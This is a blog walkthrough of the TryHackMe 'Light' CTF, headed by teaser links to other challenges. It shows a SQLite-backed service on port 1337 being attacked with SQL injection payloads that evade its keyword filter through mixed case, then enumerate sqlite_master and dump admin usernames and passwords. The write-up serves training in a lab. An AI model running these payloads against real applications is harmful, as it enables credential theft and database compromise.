Challenges: Light (TryHackMe)

Search for a command to run...

No comments yet. Be the first to comment.
Link to the challenge on TryHackMe: Modern Web Stacks Introduction During a time-boxed engagement, the first tester to identify Apache/2.4.49 in a Server: header already knows the exact CVE before the

Link to the challenge/walkthrough on TryHackMe: Broken Authentication Introduction Authentication is the process by which a web application verifies the identity of the user making a request. It typic

Link to the HealthGPT AI security CTF challenge on TryHackMe. Meet HealthGPT, a well-meaning virtual assistant used by a busy healthcare team. It helps clinicians look up procedures, draft notes, and

Link to the section of the AI Odyssey CTF on TryHackMe: Token City. It covers challenges like: ML Sec: The Loan Arranger | AI Sec + DFIR: Rogue Commit | AI Sec + Web App Sec: Sealed Substation | Agent

Link to the Privilege Escalation Challenge on TryHackMe: Linux Privilege Escalation: Automation Introduction By now, you should have an understanding of basic privilege escalation techniques and how t

The “Light” challenge simulates a database application that is vulnerable to SQL injection. By connecting to the service running on port 1337, we’re able to interact with the backend through user input. The goal is to enumerate the database, extract sensitive information such as usernames and passwords, and ultimately retrieve the hidden flag. This task emphasizes the importance of secure query handling and input validation.
I am working on a database application called Light! Would you like to try it out?
If so, the application is running on port 1337. You can connect to it using nc MACHINE_IP 1337
You can use the username smokey in order to get started.
Note: Please allow the service 2 - 3 minutes to fully start before connecting to it.
nmap -sV IP_Address

nc 10.10.87.187 1337 Welcome to the Light database! Please enter your username: smokey Password: vYQ5ngPpw8AdUmL

' OR 1=1 -- For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
' union Ahh there is a word in there I don't like :(
' UnION Error: unrecognized token: "' LIMIT 30"
' UnION SeleCT 1 ' Password: 1
' UnION SeleCT version() ' Error: no such function: version
' UnION SeleCT sqlite_version() ' Password: 3.31.1

' UnION SeleCT group_concat(sql) from sqlite_master' Password: CREATE TABLE usertable ( id INTEGER PRIMARY KEY, username TEXT, password INTEGER),CREATE TABLE admintable ( id INTEGER PRIMARY KEY, username TEXT, password INTEGER)
' UnION SeleCT group_concat(sql) from sqlite_master'
Password: CREATE TABLE usertable ( id INTEGER PRIMARY KEY, username TEXT, password INTEGER),CREATE TABLE admintable ( id INTEGER PRIMARY KEY, username TEXT, password INTEGER)
' UnION SeleCT group_concat(username) from admintable ' Password: TryHackMeAdmin,flag
' UnION SeleCT group_concat(password) from admintable '

These resources were helpful:
Through SQL injection, we successfully bypassed authentication, enumerated database tables, and uncovered the administrator’s credentials along with the final flag. This challenge demonstrates how a single overlooked vulnerability in input sanitization can lead to full database compromise. Proper use of parameterized queries and input filtering is crucial to prevent such attacks in real-world applications.